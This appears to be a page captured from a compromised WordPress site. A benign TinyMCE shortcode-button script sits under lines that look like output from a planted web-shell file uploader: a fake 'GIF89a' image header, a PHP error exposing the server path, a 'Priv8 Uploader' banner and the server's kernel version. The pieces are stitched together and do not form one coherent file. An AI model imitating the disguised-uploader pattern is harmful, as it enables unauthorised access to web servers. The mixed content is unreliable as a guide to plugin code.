GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
/* Handles the theme's shortcode buttons in the TinyMCE editor */
(function() {
// Load plugin specific language pack
tinymce.PluginManager.requireLangPack('grapheneshortcodes');
tinymce.create('tinymce.plugins.grapheneShortCodes', {
init : function(ed, url) {
ed.addButton('warning', {
title : ed.getLang('grapheneshortcodes.warningtitle', 'Add a warning message block'),
image : url+'/buttons/warning.png',
onclick : function() {
ed.selection.setContent('[warning]' + ed.selection.getContent() + '[/warning]');
}
});
ed.addButton('error', {
title : ed.getLang('grapheneshortcodes.errortitle', 'Add an error message block'),
image : url+'/buttons/error.png',
onclick : function() {
ed.selection.setContent('[error]' + ed.selection.getContent() + '[/error]');
}
});
ed.addButton('notice', {
title : ed.getLang('grapheneshortcodes.noticetitle', 'Add a notice message block'),
image : url+'/buttons/notice.png',
onclick : function() {
ed.selection.setContent('[notice]' + ed.selection.getContent() + '[/notice]');
}
});
ed.addButton('important', {
title : ed.getLang('grapheneshortcodes.importanttitle', 'Add an important message block'),
image : url+'/buttons/important.png',
onclick : function() {
ed.selection.setContent('[important]' + ed.selection.getContent() + '[/important]');
}
});
},
createControl : function(n, cm) {
return null;
},
});
tinymce.PluginManager.add('grapheneshortcodes', tinymce.plugins.grapheneShortCodes);
})();